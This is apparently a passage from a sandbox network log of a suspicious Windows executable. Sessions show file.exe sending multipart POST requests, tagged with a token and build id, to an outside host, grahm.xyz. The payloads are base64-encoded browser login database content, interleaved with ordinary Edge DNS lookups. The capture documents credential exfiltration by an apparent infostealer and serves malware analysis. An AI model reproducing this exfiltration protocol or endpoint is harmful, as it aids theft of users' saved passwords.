2024-12-12 15:47:08 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 45 4b 36 58 54 32 4e 37 59 43 42 41 49 45 4b 36 58 54 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 34 45 4b 36 58 54 32 4e 37 59 43 42 41 49 45 4b 36 58 54 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 34 45 4b 36 58 54 32 4e 37 59 43 42 41 49 45 4b 36 58 54 30 0d 0a 43 6f 6e 74 Data Ascii: ------4EK6XT2N7YCBAIEK6XT0Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------4EK6XT2N7YCBAIEK6XT0Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------4EK6XT2N7YCBAIEK6XT0Cont
2024-12-12 15:47:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:08 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2024-12-12 15:47:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:08 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2024-12-12 15:47:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49801	162.159.61.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:09 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:09 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:10 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:09 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9f35c7272b9-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:10 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49802	172.64.41.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:09 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:09 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:10 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:10 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9f52ba24326-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:10 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49807	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:10 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AI58QQIWLXBIM7Y5P8Q9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 49 35 38 51 51 49 57 4c 58 42 49 4d 37 59 35 50 38 51 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 41 49 35 38 51 51 49 57 4c 58 42 49 4d 37 59 35 50 38 51 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 41 49 35 38 51 51 49 57 4c 58 42 49 4d 37 59 35 50 38 51 39 0d 0a 43 6f 6e 74 Data Ascii: ------AI58QQIWLXBIM7Y5P8Q9Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------AI58QQIWLXBIM7Y5P8Q9Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------AI58QQIWLXBIM7Y5P8Q9Cont
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2024-12-12 15:47:10 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 